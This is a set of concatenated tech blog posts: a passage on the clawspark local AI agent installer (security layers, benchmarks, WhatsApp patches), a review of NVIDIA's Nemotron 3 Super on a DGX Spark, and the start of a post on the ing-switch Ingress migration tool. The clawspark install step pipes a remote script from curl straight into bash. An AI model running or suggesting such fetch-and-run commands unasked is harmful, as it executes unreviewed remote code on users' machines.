The fix: remove bindings entirely and use a single agent with context-aware rules. [SOUL.md](http://SOUL.md) and [TOOLS.md](http://TOOLS.md) contain explicit sections for DM context (full tools) and group context (Q&A only). The agent enforces the boundary at the prompt level. Groups also use `requireMention: true` and `groupPolicy: open` at the config level so the bot only responds when @mentioned.

## Security

Running a local AI agent is not automatically secure. clawspark applies multiple layers:

**Gateway binding.** The OpenClaw gateway binds to localhost only. It is not accessible from other machines on your network unless you explicitly set up Tailscale.

**Firewall rules.** UFW is configured to deny all incoming connections except SSH. Outgoing traffic is allowed by default, or blocked entirely in air-gap mode.

**Token authentication.** A random 256-bit token is generated during installation. Only clients with this token can talk to the gateway API.

**Context-aware tool restrictions.** In direct messages, the owner gets full access to all 15 tools. In group chats, the agent restricts itself to Q&A only (message, web\_fetch, memory). This is enforced at the prompt level via SOUL.md, which contains explicit rules for each context. Groups also require @mention to activate.

**SOUL.md and TOOLS.md.** These workspace files contain the agent's identity, capabilities, and absolute rules. No credential disclosure (applies to all users, including the owner). No system information in groups. No self-modification. Both files are set to chmod 444 (read-only) so the agent cannot edit its own rules.

**Air-gap mode.** For maximum isolation, `clawspark airgap on` blocks all outbound internet traffic via UFW. Only local network and loopback traffic is allowed. The model, the agent, and all tools run entirely offline.

One honest caveat: local models do not have the same safety filters that cloud providers build into their APIs. That is both a feature (no arbitrary refusals) and a responsibility. You should think carefully about who has access to message your bot.

## Real Performance Numbers

All numbers below are from an actual DGX Spark running Linux 6.14.0-1015-nvidia (arm64), Ollama 0.17.7, Node.js v22.22.1, OpenClaw v2026.3.13, with Qwen 3.5 35B-A3B:

| Metric | Value |
| --- | --- |
| Cold model load (first query) | ~41 seconds |
| Warm prompt evaluation | ~265 tok/s |
| Warm text generation | ~59 tok/s |
| End-to-end WhatsApp response | 15-45 seconds |

The 59 tok/s generation speed is fast enough to feel responsive. You send a question on WhatsApp and the response arrives in 15-45 seconds depending on complexity. The cold load penalty only hits on the first query after a restart. After that, the model stays in memory.

To put this in perspective: 59 tok/s means the model generates roughly 45-50 words per second. A typical response of 200 words takes about 4 seconds of pure generation time. The rest of the 15-45 second latency comes from the WhatsApp message routing, tool calls (if the agent needs to search the web or read a file), and response formatting.

Is this as fast as GPT-4o or Claude via cloud API? No. Cloud inference on dedicated hardware with massive batching will always be faster for raw token throughput. But it is fast enough for practical use, and your data never leaves your desk. That is the tradeoff.

For the 122B-A10B MoE model (the highest-ranked by llmfit), expect roughly 45 tok/s. Slightly slower but you get access to the full 122B model's knowledge with only 10B active parameters. The DGX Spark's 128GB unified memory can comfortably hold this model (33GB) with plenty of room for the KV cache.

## Hardware-Aware Model Selection with llmfit

One of the hardest problems with local AI is knowing which model to use. There are hundreds of models on Ollama, each with different sizes, quantizations, and performance characteristics. Picking the wrong one means either wasting memory (model too small for the hardware) or crashing on load (model too big).

I integrated [llmfit](https://github.com/AlexsJones/llmfit) to solve this. llmfit is a Rust-based CLI tool that detects your hardware (GPU, VRAM, RAM, CPU), scores every model in its database for fit, speed, and quality, and tells you which ones will actually run well.

For DGX Spark, I ran llmfit on the real hardware and it correctly detected the NVIDIA GB10 with 119.7 GB unified memory and CUDA backend. I then cross-referenced its top recommendations against the Ollama library to verify each model is actually pullable. The result is the curated list of 5 models you see during installation.

For all other hardware, the installer runs llmfit live:

1.  Install llmfit (one curl command, Rust binary)
    
2.  Run `llmfit recommend --json -n 20 --min-fit good`
    
3.  Map each HF-style model name to an Ollama model ID (40+ regex patterns)
    
4.  Verify each candidate exists on Ollama's library (HTTP check against ollama.com)
    
5.  Present the top 5 verified models with score, estimated tok/s, and fit level
    

If llmfit is not available or fails, the installer falls back to curated lists per hardware tier. No hardcoded guessing. Your GPU, your recommendations.

## WhatsApp Integration: The Deep Cut

Getting WhatsApp working reliably was the hardest part of this entire project. Here is why.

OpenClaw uses the Baileys library, which is an unofficial WhatsApp Web client. It works by emulating a linked device session, the same protocol that WhatsApp Web uses in your browser. The connection is end-to-end encrypted and goes through WhatsApp's servers. There is no official API involved.

This creates three categories of problems:

**Protocol issues.** WhatsApp regularly changes its protocol, and Baileys has to keep up. The browser string rejection (bug #3) is an example. WhatsApp started rejecting non-standard browser identifiers at some point, and OpenClaw's default string got caught.

**Group message handling.** WhatsApp groups use Signal's sender keys protocol. When you first link a device, it needs to receive sender keys from all group participants before it can decrypt group messages. Setting `syncFullHistory: false` (bug #6) prevents this initial key exchange, making groups completely silent.

**Mention routing.** In WhatsApp groups, @mentions get resolved to JIDs (WhatsApp internal user IDs). The bot's JID might not match its linked phone number's JID in all cases. The early return in mention detection (bug #7) means the bot never sees @mentions in groups unless you patch the code.

clawspark applies all three patches automatically and re-applies them after updates (since `npm update` overwrites the dist files). Groups require @mention to activate, and the agent is restricted to Q&A only in group context. Full tool access is reserved for direct messages with the owner.

Voice notes work through the local-whisper skill, which runs Whisper (OpenAI's open-source speech-to-text model) locally on the GPU. On DGX Spark, it uses the large-v3 model for maximum transcription accuracy. On Jetson, it drops to the small model. On RTX, it scales based on available VRAM. The audio never leaves your machine.

## Skills

clawspark installs 10 skills by default, verified against the OpenClaw skill registry:

| Category | Skills |
| --- | --- |
| Core | local-whisper, self-improvement, memory-setup |
| Voice | whatsapp-voice-chat-integration-open-source |
| Productivity | deep-research-pro, agent-browser |
| Knowledge | second-brain, proactive-agent |
| Web Search | ddg-web-search, local-web-search-skill |

Web search works without any API keys. The agent uses DuckDuckGo Lite via web\_fetch, fetches result URLs, and composes answers from the content. No Brave API key, no Google API key, no external dependencies.

You can add or remove skills with `clawspark skills add <name>` and `clawspark skills remove <name>`. The skills.yaml file in your config directory is the source of truth, and `clawspark skills sync` reads it and installs everything.

## Getting Started

**Tested and verified on DGX Spark.** Should also work on Mac (Apple Silicon M1/M2/M3/M4), RTX desktops, and Jetson. The installer has fallbacks for all platforms -- macOS uses Homebrew, Ollama runs natively on Apple Silicon, and llmfit handles model selection. These platforms have not been end-to-end tested yet. Community testing welcome -- open an issue if you try it on different hardware.

```bash
curl -fsSL https://clawspark.dev/install.sh | bash
```

Or with specific options:

```bash
bash install.sh --model=qwen3.5:122b-a10b --messaging=whatsapp
```

After installation:

```bash
clawspark status      # Check all components
clawspark benchmark   # Run a performance benchmark
clawspark logs        # Tail the gateway logs
clawspark restart     # Restart all services
clawspark update      # Update OpenClaw and re-apply patches
clawspark airgap on   # Enable air-gap mode
```

The web UI is at `http://localhost:18789/__openclaw__/canvas/`. The metrics dashboard is at `http://localhost:8900`.

Source code and documentation: [clawspark.dev](https://clawspark.dev)

## What is Next

A few things I am working on:

**Multi-model routing.** Use the fast 35B model for simple queries and automatically route complex reasoning tasks to the 122B model. The hardware can handle both loaded simultaneously since 128GB is enough for both.

**Better metrics.** ClawMetry currently shows basic gateway stats. I want per-query latency tracking, token usage by model, and cost-equivalent comparisons (how much this query would have cost on cloud APIs).

**More hardware testing.** The Jetson and RTX paths in clawspark are written and should work (hardware detection, llmfit model selection, Ollama setup), but I have only done full end-to-end testing on DGX Spark. Jetson AGX Orin is next. For RTX desktops, open a terminal and run the install command directly -- no SSH needed. If you try it on your hardware, please open an issue with your results.

**Upstream patches.** The three source patches I wrote are necessary because of bugs in OpenClaw's compiled code. Ideally these get fixed upstream so the patches become unnecessary. I plan to submit them.

## Closing Thoughts

Two years ago, running a capable AI model locally meant a server rack, a cooling system, and deep knowledge of CUDA. Today it means a quiet box on your desk and a bash script.

The gap between local and cloud AI is closing fast. Not because local is getting as fast as cloud (dedicated data center hardware will always win on raw throughput), but because local is getting good enough. 59 tokens per second from a 35B-parameter MoE model on a desktop machine is good enough for a personal assistant. The tradeoff is straightforward: you get complete data privacy and zero ongoing cost in exchange for slightly higher latency.

clawspark is just the glue. It takes hardware that is already capable (DGX Spark), software that is already good (OpenClaw, Ollama), a model that is already smart (Qwen 3.5), and a tool selector that actually knows your hardware (llmfit), and removes the friction between them. The one-click part is not the innovation. The innovation is all the edge cases, patches, and defaults that make it actually work when you run it for the first time on real hardware.

If you have a DGX Spark, an RTX GPU, a Mac with Apple Silicon, or a Jetson, give it a try. One command, a few questions, and you have a private AI assistant that genuinely never phones home.

* * *

*GitHub:* [*github.com/saiyam1814/claw-spark*](https://github.com/saiyam1814/claw-spark) *Website:* [*clawspark.dev*](https://clawspark.dev)

---

# Here's What I Learned About Nemotron 3 Super -I Ran a 120B Parameter Model on Nvidia DGX Spark

- Canonical: https://blog.kubesimplify.com/nemotron3-on-dgx-spark
- Published: 2026-03-14
- Summary: Understand everything about Nvidia DGX spark along with hands on and benchmarks. 

There’s a moment when you’re watching a model load into memory. The progress bar is filling up to 87 gigabytes and it hits you. You’re about to talk to something that has 120 billion parameters. Not through an API. Not in the cloud. On a box the size of a sandwich sitting next to your keyboard.

That’s what running NVIDIA’s Nemotron 3 Super on the DGX Spark feels like. After spending time with it, I think this model needs more attention than it’s getting. Not because of one benchmark number, but because of the engineering choices behind it. These choices show you exactly where AI inference is going.

Let me walk you through what I found.

### **The Headline Numbers (And Why They’re Misleading)**

When NVIDIA drops a model, they lead with the big stats: 120 billion parameters, 1 million token context, 5x throughput. These numbers are real, but they hide the real story.

The number that actually matters is **12.7 billion**. That’s how many parameters fire per token. Out of 120.6 billion total, only about a tenth light up for any given input. The rest sit there, waiting until the right token needs their skill.

This roughly 10:1 ratio is the whole story. It’s why the model runs on desktop hardware. It’s why it’s fast. It’s why NVIDIA built it this way. Everything else follows from this one design choice.

The second thing that matters is the layer mix. The model has 88 layers total. Most of them are Mamba-2 layers. This is a completely different architecture from transformers and it doesn’t need to store growing key-value caches. Only a small number are traditional transformer attention layers. NVIDIA interleaves them in a repeating pattern: groups of Mamba-2 blocks paired with Latent MoE layers, with attention layers placed at key depths. We’ll come back to why this split is so important.

### **Three Architectures in a Trenchcoat**

Nemotron 3 Super isn’t one architecture. It’s three, stacked together so each one does what it’s best at. Once you get this stack, you get why the model works the way it does.

![](https://pbs.twimg.com/media/HDSdda-bcAA0LrZ?format=jpg&name=large align="center")

### **Mamba-2: The Workhorse**

The majority of the 88 layers are Mamba-2 blocks. Mamba is a state-space model. Think of it like a recurrent architecture that keeps a compact, fixed-size state and updates it as each new token comes in.

The key thing: Mamba runs in **linear time**. Double the sequence length, you roughly double the compute. Compare that with transformer attention, where doubling the sequence quadruples the compute.

This is why Nemotron 3 Super can actually deliver a 1-million-token context window in practice. With most layers being Mamba, the bulk of the model doesn’t care how long your prompt is. Compute grows linearly, and memory doesn’t grow at all. Mamba’s state stays the same size no matter the sequence length.

### **Transformer Attention: The Precision Tool**

A small number of layers in the stack are traditional transformer attention layers, using Grouped Query Attention with 32 query heads, 2 KV heads, and a head dimension of 128. These are confirmed specs from the technical report.

Why keep any attention at all? Because Mamba has a known gap. It struggles with precise associative recall, like connecting a specific detail from position 1,000 with something at position 500,000. The fixed-size state means some info gets compressed away over very long sequences.

NVIDIA’s fix: place attention layers at carefully chosen depths through the 88-layer stack. They act like precision tools, handling the long-range connections that Mamba would miss, while Mamba does everything else fast.

The result: the vast majority of the model’s compute happens in linear time. Quadratic attention is used only where it’s needed.

### **The KV Cache Payoff**

This design has a huge side effect that matters a lot for hardware like the DGX Spark.

In a transformer, the KV cache grows with sequence length. Every attention layer stores key and value tensors for every token it has seen. For a model like Qwen 3.5-122B with 12 full attention layers, head dimension 256, and 2 KV heads, that adds up to about 22.9 GiB at 1 million tokens in BF16. (The math: 12 layers x 2 KV heads x 256 dim x 2 bytes x 2 for K+V x 1M tokens.)

![Image](https://substackcdn.com/image/fetch/$s_!w9U0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac671316-de89-4a33-b0e6-c80cc8fdfebf_2048x1365.jpeg align="center")

Nemotron 3 Super has far fewer attention layers, each with head dimension 128 and 2 KV heads. Because Mamba layers use a fixed-size state (no KV cache growth), only the attention layers add to the KV cache. The bottom line: the KV cache is roughly **3x smaller** than Qwen’s at the same context length. On the DGX Spark’s 128 GB of unified memory, you load the 87 GB model, add a relatively small KV cache even at very long contexts, and you still have plenty of room to spare.

For practical purposes, the KV cache almost doesn’t matter with this model.

## **Latent MoE: Getting 4x More Experts for Free**

The Mixture of Experts layer is where things get really clever.

![Image](https://substackcdn.com/image/fetch/$s_!5Kdw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89ffec61-5e59-42db-b9f3-d7943928265b_2048x1365.jpeg align="center")

In a standard MoE, each token is routed to one or two “expert” sub-networks from a larger pool. The idea is simple: different experts specialize in different things, and the router learns which expert to call for each token.

The problem is cost. Routing happens at the model’s full hidden dimension, and each expert operates at that same dimension. If you want more experts (for better specialization), routing gets more expensive. If you want to activate more experts per token (for better accuracy), inference gets slower.

Latent MoE solves this with a compression trick. Before routing, token embeddings are projected from the full hidden dimension down to a smaller latent dimension. The router operates in this compressed space, which is much cheaper. Experts also operate on the compressed representations.

The compute you save on compression doesn’t disappear. It gets reinvested. NVIDIA uses it to increase both the total number of experts **and** the number of experts active per token by the same factor. The result: 4x more experts consulted per token, at approximately the same inference cost as a standard MoE with fewer experts.

Each token effectively gets a committee of 4 specialists deliberating instead of a single expert making a snap judgment. The accuracy improvement is significant, and you don’t pay for it in latency.

## **Multi-Token Prediction: Built-In Speculative Decoding**

Standard language models predict one token at a time. Generate position N, feed it back in, generate position N+1, repeat. This sequential nature is the fundamental bottleneck in text generation speed.

![](/img/blog/nemotron3-on-dgx-spark/e115fb71-9ad5-4d6c-abbc-2a36fe6f6559.png align="center")

Nemotron 3 Super predicts multiple future tokens from each position simultaneously. The model has shared-weight prediction heads that project from the same internal representation to predict not just the next token, but several tokens ahead.

This serves two purposes. During training, it forces the model to learn longer-range dependencies. You can’t predict three tokens ahead without understanding the broader context. This makes the model smarter.

During inference, it works like built-in speculative decoding. Instead of generating one token per forward pass, the model proposes multiple tokens, verifies them, and keeps the correct ones. For structured output like code and tool calls, where the next few tokens are often very predictable, NVIDIA reports up to 3x wall-clock speedup. General chat won’t see the full 3x, but code generation benefits a lot.

The nice thing: you don’t need a separate draft model. The speculation is built right into the model.

## **How It Was Trained: The Three-Phase Pipeline**

This is where NVIDIA’s openness really shines. They didn’t just release weights. They published the complete methodology, and the numbers are big.

![](/img/blog/nemotron3-on-dgx-spark/8961cc5a-2e77-4316-a388-efb33cccadf9.png align="center")

**Phase 1: Pretraining.** 25 trillion tokens total (10 trillion unique), plus 10 billion additional tokens focused specifically on reasoning, plus 15 million coding problems. The majority of compute ran in NVFP4, which is NVIDIA’s native 4-bit floating point format. This is unusual and important: most models train in higher precision and quantize down later, losing accuracy. Nemotron 3 Super was born in FP4.

**Phase 2: Supervised Fine-Tuning.** 7 million carefully selected samples from a corpus of 40 million. Coverage spans reasoning, instruction following, coding, safety, and critically, multi-step agent task completion. This phase is where the model learns to be useful, not just knowledgeable.

**Phase 3: Reinforcement Learning.** 1.2 million environment rollouts across 21 different configurations, using NeMo Gym and NeMo RL frameworks with 37 datasets. This is where the model learns to reason through complex, multi-step problems. This is the kind of thinking that makes it useful as an autonomous agent.

NVIDIA released around 10 of the pretraining datasets publicly, 15 RL training environments, and about 10 of the 37 RL datasets, along with complete training recipes. The Artificial Analysis Openness Index scored this release at 83 out of 100. Only two research labs (Ai2 and MBZUAI) score higher, and their models aren’t anywhere near this performance level.

This kind of transparency is new for a model this good. With enough compute, you could follow their recipe and reproduce the training run yourself.

## **Why NVIDIA Built This for Agents**

The model wasn’t designed for chatbots. Every architectural decision points toward one use case: long-running autonomous agents. The 1M context, the sparse activation, the MoE efficiency. All of it.

![](/img/blog/nemotron3-on-dgx-spark/b0f51fa2-0d6e-4ec0-b839-ba0927fb91e7.png align="center")

When you run a multi-agent system, token consumption explodes. Each agent interaction requires sending the full conversation history, tool outputs, intermediate reasoning steps, and results from other agents. NVIDIA’s numbers suggest multi-agent workflows generate up to 15x more tokens than standard chat.

This creates two problems that kill most models:

**Context overflow.** At 128K tokens, even large models run out of context in extended agent sessions. The agent either loses early context (and the original goal with it), or you implement complex summarization/RAG schemes that lose fidelity. Nemotron 3 Super’s million-token window means the agent can hold the entire workflow state. Every tool call, every intermediate result, every reasoning step stays in memory without ever truncating.

**The cost of thinking.** Agents need to reason at every step. If each reasoning call costs as much as a full 120B forward pass, running thousands of agent subtasks gets very expensive very fast. With only 12B active parameters, each call through Nemotron 3 Super costs a fraction of what a dense 120B model would. You get the intelligence of a large model with the economics of a small one.

The benchmarks back this up. On PinchBench, which tests models as actual coding agents (not just answering coding questions), it scores 85.6%. That’s the best open model out there. On DeepResearch Bench, which tests multi-step research over large document sets, NVIDIA’s AI-Q multi-agent system took the number one position. AI-Q is built on top of a fine-tuned Nemotron 3 Super. Worth noting: AI-Q is a full multi-agent system with orchestrator, planner, and researcher sub-agents. It’s not just the base model running solo. But Nemotron 3 Super is the reasoning engine at its core.

Why Sparse MoE is Perfect for the DGX Spark

Here’s something that sounds wrong: on the DGX Spark, a 120B MoE model runs way faster than a smaller 70B dense model. The bigger model is faster. How?

![](/img/blog/nemotron3-on-dgx-spark/a316513a-2122-4da5-a635-cba89aa8e443.png align="center")

## **Running It: Three Paths from Zero to Inference**

I tested three ways to get Nemotron 3 Super running on the DGX Spark. Here they are, from simplest to most configurable.

**Path 1: Ollama (Two Commands)**

The fastest possible path. If Ollama is installed on your Spark (it comes pre-installed on DGX OS):

```text
ollama pull nemotron-3-super

ollama run nemotron-3-super
```

```text
saiyam@spark-5385:~$   ollama pull nemotron-3-super
pulling manifest 
pulling 0fc53cc990a2: 100% ▕███████████████████████████████████████████████████████████████████████████████████████▏  86 GB                         
pulling d02d998e5ae6: 100% ▕███████████████████████████████████████████████████████████████████████████████████████▏  23 KB                         
pulling 02897ca0d6a3: 100% ▕███████████████████████████████████████████████████████████████████████████████████████▏   31 B                         
pulling 9c35241878aa: 100% ▕███████████████████████████████████████████████████████████████████████████████████████▏  509 B                         
verifying sha256 digest 
writing manifest 
success 


saiyam@spark-5385:~$ ollama list

NAME                       ID              SIZE     MODIFIED               
nemotron-3-super:latest    95acc78b3ffd    86 GB    Less than a second ago    
qwen3.5:35b-a3b            3460ffeede54    23 GB    5 days ago                
saiyam@spark-5385:~$  ollama run nemotron-3-super --verbose "Explain the difference between Mamba and Transformer architectures like I'm a DevOps engineer who has never worked with ML."
```

```text
ollama show nemotron-3-super 
  Model
    architecture        nemotron_h_moe    
    parameters          123.6B            
    context length      262144            
    embedding length    4096              
    quantization        Q4_K_M            
    requires            0.17.1            

  Capabilities
    completion    
    tools         
    thinking      

  Parameters
    temperature    1       
    top_p          0.95    

  License
    NVIDIA Software and Model Evaluation License                                            
    IMPORTANT NOTICE – PLEASE READ AND AGREE BEFORE USING THE NVIDIA LICENSED MATERIALS.    
    ...                                                                                     
```

**Real performance on DGX Spark:**

```text
prompt eval rate:  3.51 tokens/s
eval rate: 19.50 tokens/s
eval count:  2504 tokens
total duration:  2m56s
```

**Path 2: llama.cpp from Source (Full Control)**

If you want more control over context sizes, quantization, and API serving, you can build llama.cpp from source and run the GGUF model directly. Unsloth has a detailed guide for this: [Unsloth Nemotron 3 Super Guide](https://docs.unsloth.ai/basics/nvidia-nemotron-3-super)

The key things to know for DGX Spark:

*   When building llama.cpp, use -DCMAKE\_CUDA\_ARCHITECTURES=”121” for the GB10 chip. Without this you’ll fall back to CPU inference.
    
*   The GGUF files are at [unsloth/NVIDIA-Nemotron-3-Super-120B-A12B-GGUF](https://huggingface.co/unsloth/NVIDIA-Nemotron-3-Super-120B-A12B-GGUF) on Hugging Face.
    

*   NVIDIA recommends temperature 1.0 for general chat, and 0.6 with top\_p 0.95 for tool calling.
    
*   Set --ctx-size based on your available memory. On DGX Spark, 16384 to 262144 is practical. Setting it to 1M may trigger CUDA OOM.
    
*   llama-server gives you an OpenAI-compatible API, so VS Code Continue, LangChain, CrewAI, Open WebUI all just work.
    

## **The DGX Spark: Quick Hardware Context**

For readers unfamiliar with the hardware, the DGX Spark is NVIDIA’s desktop AI computer. The relevant specs:

*   **Chip:** GB10 Grace Blackwell Superchip
    
*   **Memory:** 128 GB unified LPDDR5x (shared CPU/GPU, 273 GB/s)
    
*   **GPU:** 6,144 CUDA cores, 5th-gen Tensor Cores, 1 PFLOP FP4 sparse
    
*   **CPU:** 20-core ARM (10x Cortex-X925 + 10x Cortex-A725)
    
*   **Size:** 150mm x 150mm x 50mm, 1.2 kg
    
*   **Power:** 240W
    

![](/img/blog/nemotron3-on-dgx-spark/d8e3fd38-2ef8-488a-b7f4-676d1edd7880.png align="center")

The unified memory is the key. Unlike a discrete GPU where you’re limited by VRAM (24 GB on an RTX 4090, 32 GB on an RTX 5090), the DGX Spark’s 128 GB is coherently shared between CPU and GPU with no PCIe bottleneck. The full 87 GB model lives in one address space.

NVIDIA rates it for models up to 200 billion parameters on a single unit, or 405 billion on two connected Sparks.

## **Putting It in Context: How Nemotron 3 Super Compares**

Here’s the honest comparison against peers, based on published third-party benchmarks:

![](/img/blog/nemotron3-on-dgx-spark/354ed625-31cf-4636-950a-438ef99234d1.png align="center")

### **What I’d Actually Use This For**

After spending time with the model, here’s where I see genuine value in the Nemotron + DGX Spark combination:

**Openclaw** - I am going to put this as the model for openclaw too which is already running on my machine.

**Private data analysis.** If you work in healthcare, finance, legal, or defense, some data simply cannot leave your building. No cloud provider promise changes the rules. A local model that never touches a network is the only option for these workloads.

**Code review and analysis.** 73.4% precision on Qodo’s code review benchmark means about three out of four issues it flags are real. That’s useful enough for a local code review helper, especially when you’re working on code you can’t send to an external API.

**Long-document reasoning.** The million-token context with a tiny KV cache means you can load entire codebases, spec documents, or stacks of research papers and ask questions across everything. No chunking, no RAG pipeline needed. Just load it all and ask.

Where I wouldn’t use it: production serving at scale, real-time latency-critical applications, or model training. The DGX Spark is an inference machine, not a training rig.

### **The Bigger Picture**

Nemotron 3 Super is interesting as a model, but it’s even more interesting as a strategy.

NVIDIA makes the chips (GB10, B200), the inference runtime (NIM, TensorRT-LLM), the training framework (NeMo), and now the models (Nemotron). They’ve released the model, the data, and the recipes. Everything except the hardware to train on.

That’s the play. The more developers build on Nemotron, the more they need NVIDIA hardware. The openness isn’t charity. It’s ecosystem building.

But for us as practitioners, the result is clearly good. We get a top-tier model with full training transparency, running on hardware we can put on a desk. The hybrid Mamba-Transformer architecture with Latent MoE and multi-token prediction isn’t just a research paper. It’s a practical solution for running large models on limited hardware.

NVIDIA has confirmed that Ultra, the bigger sibling at roughly 500 billion parameters, is coming. If Super at 120B is this capable, Ultra will be worth watching closely.

Sources:

*   [**NVIDIA Nemotron 3 Super Technical Report (PDF)**](https://research.nvidia.com/labs/nemotron/files/NVIDIA-Nemotron-3-Super-Technical-Report.pdf)
    
*   [**NVIDIA Technical Blog: Introducing Nemotron 3 Super**](https://developer.nvidia.com/blog/introducing-nemotron-3-super-an-open-hybrid-mamba-transformer-moe-for-agentic-reasoning/)
    
*   [**NVIDIA Blog: 5x Higher Throughput for Agentic AI**](https://blogs.nvidia.com/blog/nemotron-3-super-agentic-ai/)
    
*   [**Artificial Analysis: Nemotron 3 Super — The New Leader in Open Intelligence**](https://artificialanalysis.ai/articles/nvidia-nemotron-3-super-the-new-leader-in-open-efficient-intelligence)
    
*   [**Qodo: Code Review Analysis**](https://www.qodo.ai/blog/nvidia-nemotron-3-super-is-closing-the-gap-for-open-source-models/)
    
*   [**Ollama DGX Spark Benchmarks**](https://ollama.com/blog/dgx-spark)
    
*   [**DGX Spark Performance (LMSYS)**](https://lmsys.org/blog/2025-10-13-nvidia-dgx-spark/)
    
*   [**PinchBench**](https://www.pinchbench.com/)
    
*   My own testing on DGX Spark — 19.5 tok/s (Q4\_K\_M, Ollama), prompt eval 3.51 tok/s

---

# ing-switch: Migrate from Ingress NGINX to Traefik or Gateway API in Minutes, Not Days

- Canonical: https://blog.kubesimplify.com/ing-switch-migrate-from-ingress-nginx-to-traefik-or-gateway-api-in-minutes-not-days
- Published: 2026-02-25

If you run Kubernetes, there's a deadline you can't ignore: **Ingress NGINX is being deprecated in March 2026**. Roughly half of all Kubernetes clusters depend on it. That's a lot of teams who need a migration plan — and most of them are going to discover that it's harder than it looks.

The core problem isn't moving from one controller to another. It's that Ingress NGINX is held together by annotations. Hundreds of `nginx.ingress.kubernetes.io/*` annotations that control everything from TLS redirects to rate limiting to sticky sessions to canary deployments. These annotations have no direct equivalent in a new controller. Some map cleanly. Some map partially, with caveats. Some have no equivalent at all. And the existing tooling (`ingress2gateway`) only handles basic routing — it doesn't tell you what you're losing or how to compensate.

That's why I built [**ing-switch**](https://github.com/saiyam1814/ing-switch) — an open-source CLI + visual UI that takes you through the full migration lifecycle: scan → analyze → generate → verify → cutover → cleanup.

* * *

## What ing-switch does

The tool has four commands that map to four stages of migration:

```bash
ing-switch scan      # detect your controller + list all ingresses
ing-switch analyze   # map every annotation to the target controller
ing-switch migrate   # generate ready-to-apply manifests
ing-switch ui        # open the visual 4-page migration dashboard at :8080
```

And it supports two migration targets:

<table style="min-width: 50px;"><colgroup><col style="min-width: 25px;"><col style="min-width: 25px;"></colgroup><tbody><tr><th colspan="1" rowspan="1"><p>Target</p></th><th colspan="1" rowspan="1"><p>What's generated</p></th></tr><tr><td colspan="1" rowspan="1"><p><strong>Traefik v3</strong></p></td><td colspan="1" rowspan="1"><p>Traefik Middleware CRDs + updated Ingress resources (stays on <code>kind: Ingress</code>, no new CRDs to learn)</p></td></tr><tr><td colspan="1" rowspan="1"><p><strong>Gateway API (Envoy Gateway)</strong></p></td><td colspan="1" rowspan="1"><p>GatewayClass + Gateway + HTTPRoutes + BackendTrafficPolicy + SecurityPolicy</p></td></tr></tbody></table>

**Traefik** is the lowest-friction path: you keep `kind: Ingress`, your team learns almost nothing new, and almost all annotations have a Traefik equivalent. **Gateway API** is the future-proof path: standardized, implementation-agnostic, and where the ecosystem is heading — but it requires more preparation for partial-support annotations.

* * *

## Annotation coverage: the hard part

This is the part most migration tools skip. `ing-switch` maps over 50 `nginx.ingress.kubernetes.io/*` annotations for both targets. Here's a sample:

<table style="min-width: 75px;"><colgroup><col style="min-width: 25px;"><col style="min-width: 25px;"><col style="min-width: 25px;"></colgroup><tbody><tr><th colspan="1" rowspan="1"><p>Annotation</p></th><th colspan="1" rowspan="1"><p>Traefik</p></th><th colspan="1" rowspan="1"><p>Gateway API</p></th></tr><tr><td colspan="1" rowspan="1"><p><code>ssl-redirect</code></p></td><td colspan="1" rowspan="1"><p>✅ RedirectScheme Middleware</p></td><td colspan="1" rowspan="1"><p>✅ HTTPRoute RequestRedirect filter</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>force-ssl-redirect</code></p></td><td colspan="1" rowspan="1"><p>✅ Permanent redirect</p></td><td colspan="1" rowspan="1"><p>✅ 301 HTTPRoute redirect</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>enable-cors</code> (all 6 fields)</p></td><td colspan="1" rowspan="1"><p>✅ Headers Middleware</p></td><td colspan="1" rowspan="1"><p>⚠️ Manual ResponseHeaderModifier (no native CORS filter in v1)</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>auth-url</code> (ForwardAuth)</p></td><td colspan="1" rowspan="1"><p>✅ ForwardAuth Middleware</p></td><td colspan="1" rowspan="1"><p>⚠️ SecurityPolicy (Envoy ext-auth)</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>limit-rps</code> / <code>limit-rpm</code></p></td><td colspan="1" rowspan="1"><p>✅ RateLimit Middleware</p></td><td colspan="1" rowspan="1"><p>⚠️ BackendTrafficPolicy (Envoy extension)</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>whitelist-source-range</code></p></td><td colspan="1" rowspan="1"><p>✅ IPAllowList Middleware</p></td><td colspan="1" rowspan="1"><p>⚠️ HTTPRouteMatch source IP (limited)</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>affinity: cookie</code> (sticky sessions)</p></td><td colspan="1" rowspan="1"><p>✅ Service sticky annotation</p></td><td colspan="1" rowspan="1"><p>⚠️ BackendLBPolicy SessionPersistence (v1.1)</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>canary</code> + <code>canary-weight</code></p></td><td colspan="1" rowspan="1"><p>✅ Weighted service split</p></td><td colspan="1" rowspan="1"><p>✅ HTTPRoute weighted backendRefs</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>rewrite-target</code></p></td><td colspan="1" rowspan="1"><p>✅ ReplacePath/AddPrefix</p></td><td colspan="1" rowspan="1"><p>✅ URLRewrite filter</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>proxy-read-timeout</code></p></td><td colspan="1" rowspan="1"><p>⚠️ ServersTransport CRD</p></td><td colspan="1" rowspan="1"><p>⚠️ HTTPRoute spec.rules[].timeouts</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>configuration-snippet</code></p></td><td colspan="1" rowspan="1"><p>❌ Not supported (security)</p></td><td colspan="1" rowspan="1"><p>❌ Not supported</p></td></tr><tr><td colspan="1" rowspan="1"><p><code>session-cookie-samesite</code></p></td><td colspan="1" rowspan="1"><p>✅ Sticky cookie</p></td><td colspan="1" rowspan="1"><p>❌ Not in BackendLBPolicy spec</p></td></tr></tbody></table>

The tool shows you exactly which category each annotation falls into: fully supported (just apply the generated YAML), partial (the YAML is generated, but read the note about what's different), or unsupported (manual work required, with guidance on the best alternative).

* * *

## Installation

```bash
# macOS arm64
curl -L https://github.com/saiyam1814/ing-switch/releases/latest/download/ing-switch-darwin-arm64 -o ing-switch
chmod +x ing-switch && sudo mv ing-switch /usr/local/bin/

# Linux amd64
